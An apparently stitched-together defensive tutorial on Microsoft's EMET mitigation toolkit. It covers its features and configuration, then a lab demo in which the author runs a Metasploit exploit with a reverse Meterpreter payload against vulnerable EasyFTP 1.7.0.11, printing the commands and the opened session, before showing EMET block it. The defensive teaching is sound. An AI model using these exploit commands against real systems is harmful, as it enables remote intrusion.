Enhanced Mitigation Experience Tool (EMET)

EMET is a toolkit provided by Microsoft to configure security controls on Windows systems making it more difficult for attackers to successfully launch exploits. EMET doesn't take the place of antivirus or patch management, but it does provide an important set of safeguards against not only existing exploits, but also against future 0-day exploits which have yet to be developed or released. Even the best signature-based antivirus programs don't do a good job at protecting from 0-days.

EMET allows administrators to exercise fine-grained control over Windows' built-in security features in Windows 7 and higher, including:

• DEP (Data Execution Prevention)
• ASLR (Address Space Layout Randomization)
• SEHOP (Structured Exception Handling Overwrite Protection)
• ROP (Return-Oriented Programming)

While DEP and ASLR have been supported by Microsoft since Windows XP SP2 and Windows Vista (respectively), one of the main weaknesses of this mitigation is that existing applications needed to be recompiled by the developer to "opt-in" to these security controls.  A great benefit of EMET is that it allows administrators to "force" DEP and ASLR onto existing legacy applications.

While there are many exploits out there which bypass DEP and ASLR, it's worth noting that the first versions of these exploits are sometimes thwarted by these controls, which buys you some time for either patches or antivirus detection to become available. There are good reasons why the Australian DSD (Defense Signals Directorate) has included DEP and ASLR on its "Top 35 Mitigations" for two years running.

EMET 3.0 and 3.5 introduced the ability to manage EMET via GPO, putting installation and configuration within reach of the enterprise. EMET 4.0 builds on this feature set and includes some very useful new protections, including:

• SSL certificate pinning - allows mitigation of "man-in-the-middle" attacks by detecting situations where the Root CA for an SSL certificate has changed from the "pinned" value configured in EMET. For example, you can configure EMET to say "There is only a single trusted root CA that should ever be issuing certificates for acme.com, and if I see a certificate for any FQDN ending in .acme.com from a different CA, report this as a potential man-in-the-middle attack. You can pin the CA for entire domains or for individual certificates. EMET 4.0 beta ships with pinned certificates for login.live.com and login.microsoftonline.com, but administrators can add their own.
• Enhanced ROP mitigation. There is a never-ending arms race between OS and application developers on the one side and exploit developers on the other side. When a new mitigation technique is developed by Microsoft, clever exploit developers work hard to find ways to bypass the mitigation. In the case of ROP mitigations, EMET 3.5 included some basic ROP mitigations that blocked assembly language "return" calls to memory addresses corresponding to known lists of low-level memory management functions in certain DLLs. This rendered a common exploit technique ineffective. However, exploit developers responded with adjusted techniques to bypass EMET's ROP mitigations, such as returning into the memory management code a few bytes beyond the function prologue. I don't have enough time or space to do this fascinating topic justice, but you can read a good overview of ROP exploit techniques here.
  
  EMET 4.0 blocks some of these mitigation bypass techniques, which puts the onus back on exploit developers in this cat-and-mouse game. I'm looking forward to the first white paper detailing how the new mitigations can be bypassed.
• Improved logging. With the new and improved EMET notifier agent, EMET 4.0 does a much better job at logging events to the Windows event log. This opens up the possibility of using a centralized event log monitoring systems such as Microsoft Systems Center Operations Manager (SCOM) 2012 to act as an enterprise-wide early detection system for exploit attempts. Imagine having instantaneous alerting any time EMET blocked an attack on any Windows system across the enterprise.
  
  One could also use a free tool like event-log-to-syslog to gather event logs centrally, or even something like Splunk (with universal forwarders) if you don't mind breaking the bank.
  
  Another benefit of centrally logging and analyzing EMET events is it will give you early warning on EMET compatibility problems. Past versions of EMET have been known to cause problems with certain applications, for example I found that the LastPass extension for Chrome needed certain EMET settings disabled in order to run. If you haven't used EMET before in your enterprise, you will definitely want to introduce EMET in a limited rollout before going enterprise-wide via GPO. Note any programs requiring exemption or settings customization and make sure those settings are reflected in the GPO policy.

Enhanced Mitigation Experience Tool (EMET)

Defining the problem
First, we must define the problem before we try to find the solution. The problem with Windows systems is that they can easily be exploited. There are various exploits out there that can exploit the Windows system. This is possible because most of the users don’t apply the security updates and install the required updates, which makes their computer vulnerable. If we forget about the actual vulnerabilities that lie at the heart of the Windows operating system, and focus on the ones specific to custom third-party programs, we have a bigger problem on our hands. Let’s face it, most Windows users are constantly being logged-in as an Administrators, so most of the programs are running with super privileges, meaning an attacker who gains access to the vulnerable machine through some problem will probably be able to do just about anything.
It’s because of the third-party programs and libraries that systems get compromised more often than they normally would. But why are those programs vulnerable? It’s because programmers are not aware of the security implications regarding handling the user input. Some security vulnerabilities are being discovered everyday in new applications, such as SQL injection vulnerabilities, even though they are more than a decade old. If programmers didn’t learn to write secure applications by now, they probably never will – SQL injections will keep popping out like mushrooms in the rain. The same is true for other kinds of vulnerabilities, but the most important of them being the stack and heap overflows, since we’re usually using those to exploit the system.
That is why a different approach is needed to secure the systems from being compromised.
Presenting the solution
Now we can look at EMET, the enhanced mitigation experience toolkit, which can protect our system even when the vulnerability is present. Normally, when the vulnerability is present in Windows kernel, by a third-party software program or some other means, the attacker can exploit it and gain access to the system (in most cases). But when using EMET, the attacker can’t exploit the system even if he knows about the existing vulnerability. In fact, the normally working exploit will be blocked and the attacker won’t be able to gain access to the target machine even though he has a working exploit on his hands.
Let’s present the EMET software program. First, we need to download it from the official Microsoft website accessible at http://www.microsoft.com/en-us/download/details.aspx?id=1677. The
The download link will look something like presented on the picture below:

 

We can see that the EMET is only 5MB in size and it can do wonders. Right below that there’s an overview about EMET toolkit. Specifically, the following are benefits of using EMET:
1. No source code needed: Until now, several of the available mitigations (such as Data Execution Prevention) have required for an application to be manually opted in and recompiled. EMET changes this by allowing a user to opt in applications without recompilation. This is especially handy for deploying mitigations on software that was written before the mitigations were available and when source code is not available.
2. Highly configurable: EMET provides a higher degree of granularity by allowing mitigations to be individually applied on a per process basis. There is no need to enable an entire product or suite of applications. This is helpful in situations where a process is not compatible with a particular mitigation technology. When that happens, a user can simply turn that mitigation off for that process.
3. Helps harden legacy applications: It’s not uncommon to have a hard dependency on old legacy software that cannot easily be rewritten and needs to be phased out slowly. Unfortunately, this can easily pose a security risk as legacy software is notorious for having security vulnerabilities. While the real solution to this is migrating away from the legacy software, EMET can help manage the risk while this is occurring by making it harder for hackers to exploit vulnerabilities in the legacy software.
4. Ease of use: The policy for system wide mitigations can be seen and configured with EMET’s graphical user interface. There is no need to locate up and decipher registry keys or run platform dependent utilities. With EMET, you can adjust settings with a single consistent interface regardless of the underlying platform.
5. Ongoing improvement: EMET is a living tool designed to be updated as new mitigation technologies become available. This provides a chance for users to try out and benefit from cutting edge mitigations. The release cycle for EMET is also not tied to any product. EMET updates can be made dynamically as soon as new mitigations are ready
We can see that EMET provides quite some benefits. The most notable is the fact that we don’t have to recompile the software with special compiler flags to make it safer. Usually, this is the case, especially with other solutions that can also be used to make the exploitation of the vulnerabilities harder and make users safer. The other very important benefit is that the tool is being actively developed. How many times we’ve seen state of art products sink into oblivion? Well, it has happened a lot, and not just in the computer and information science, but in other areas as well. It’s most important that tools be kept updated, because new security risks are being discovered every day and the tools need to adapt quickly to be able to provide the service they promise.
EMET
Let’s present the EMET now. We’ve already mentioned that we need to download it and install it. After that, we’ll be able to start EMET, which should look like this:

On the picture above we can see the EMET graphical user interface. At first, we can see three mitigation techniques, the DEP, SEHOP and ASLR; we won’t go into the details what these mean right now. Right below that we can see a list of processes currently running. The green arrow right above the process list can be used to refresh the list of started processes. There are also two buttons present, one is for configuring the system mitigations and the other is for configuring the application-specific mitigations.
If we click on the “Configure System” button, a new window will pop-up as presented on the picture below:

We can see that we can choose from “Maximum Security Settings” and “Recommended Security Settings” profiles. I guess it’s best to use the recommended profile, except if we’re super paranoid. We can also change the setting of the three mitigations DEP, SEHOP and ASLR. We can choose from the following options for them: Disabled, Application Opt In, Application Opt Out and Always On.

Let’s also take a look at how we can change the application specific mitigations. We must click on the “Configure Apps” and a new window will pop-up as can be seen on the picture below:

We can see that by default, we’re not applying any rules to specific applications. We can add an application by pressing the Add button on the picture above. Once we do that, we will need to select the actual binary program to configure specifically. On the picture below we can see that we’ve selected explorer.exe in the C:\WINDOWS directory, which will act as a basis for security mitigations of the explorer.exe process.

Once we’ve selected explorer.exe and pressed the Open button, explorer.exe will be added to the list, which you can see below:

Want to learn more?? 

VIEW ETHICAL HACKING

We can see that the explorer.exe was added to the list successfully, and now we’re able to configure it.
EMET in Action
We’ve described what EMET is and does, but we haven’t yet seen it in action. To actually see what EMET can do, we need to first install a vulnerable version of some software and exploit it, like we normally would. Afterwards, we need to start EMET and try to exploit it again to find out that the previously working exploit isn’t working anymore, thanks to EMET.
Let’s install a vulnerable version of an FTP server, EasyFTP 1.7.0.11, which we know is vulnerable. We can check that if we visit the Metasploit web page and search for the “easyftp” keywords. On the picture below is the result of such search, where we can clearly see that the LIST command is vulnerable to stack overflow.

We can find that version of FTP server simply by Googling. After downloading and installing the FTP version, we can quickly confirm that we’re running the vulnerable version by looking at the About button of the FTP server. We can see that on the picture below:

The FTP server is EasyFtp 1.7.0.11 and it has just been started. The next thing is confirming that the exploit bundled in Metasploit actually works and can exploit vulnerability. In our case, we’ll try to load a reverse Meterpreter console just to be sure that the vulnerability can be exploited successfully.
We need to run the following command in msfconsole to run the exploit:

[plain]
msf > use exploit/windows/ftp/easyftp_list_fixret
msf exploit(easyftp_list_fixret) > show payloads
msf exploit(easyftp_list_fixret) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(easyftp_list_fixret) > set LHOST [MY IP ADDRESS]
msf exploit(easyftp_list_fixret) > set RHOST [TARGET IP]
msf exploit(easyftp_list_fixret) > exploit
[/plain]

After doing that, a new Meterpreter session will open, like we can see on the output below:

[plain]
msf > use exploit/windows/ftp/easyftp_list_fixret
msf exploit(easyftp_list_fixret) > set RHOST 192.168.1.134
msf exploit(easyftp_list_fixret) > set LHOST 192.168.1.124
msf exploit(easyftp_list_fixret) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(easyftp_list_fixret) > exploit
[*] Started reverse handler on 192.168.1.124:4444
[*] Prepending fixRet…
[*] Adding the payload…
[*] Overwriting part of the payload with target address…
[*] Sending exploit buffer…
[*] Sending stage (752128 bytes) to 192.168.1.134
[*] Meterpreter session 1 opened (192.168.1.124:4444 -> 192.168.1.134:1331)
[/plain]

We can also execute various meterpreter commands once we’ve chosen the session to interact with:

[plain]
meterpreter > sysinfo
Computer : COMPUTER_1
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
[/plain]

We can see that we’ve successfully run the sysinfo command and got basic information about the vulnerable system. But that was merely a proof that we can successfully interact with a Meterpreter session.
Let’s not start EMET and enable the DEP protection; if required, we should restart our system, which isn’t a big deal comparing to the things EMET can really do. After the EMET is enabled, its security mitigations, we need to restart the exploit to see whether the system is still vulnerable. We can quickly check by rerunning the exploit command, whose output we can see below:

[plain]
msf exploit(easyftp_list_fixret) > exploit
[*] Started reverse handler on 192.168.1.124:4444
[-] Exploit exception: The connection timed out (192.168.1.134:21).
[*] Exploit completed, but no session was created.
[/plain]

We can see that the connection timed out, but if we try to connect to the FTP server via telnet, it works fine, so the FTP server is still up and running. We’ve just seen EMET in effect; it blocked the exploit the Metasploit uses and prevented us to gaining access to the system even though we’re running a vulnerable FTP server.

Conclusion
We’ve seen how EMET can be used to prevent an intruder to gaining access to your computer even when the vulnerability exists on your system. I recommend everything running Windows operating systems to install EMET to be more secure against known attacks, but most importantly, this also makes your system more secure against zero-day exploits that haven’t been discovered yet. By using EMET, we’re protecting ourselves from the worst – an attacker gaining access to our complete system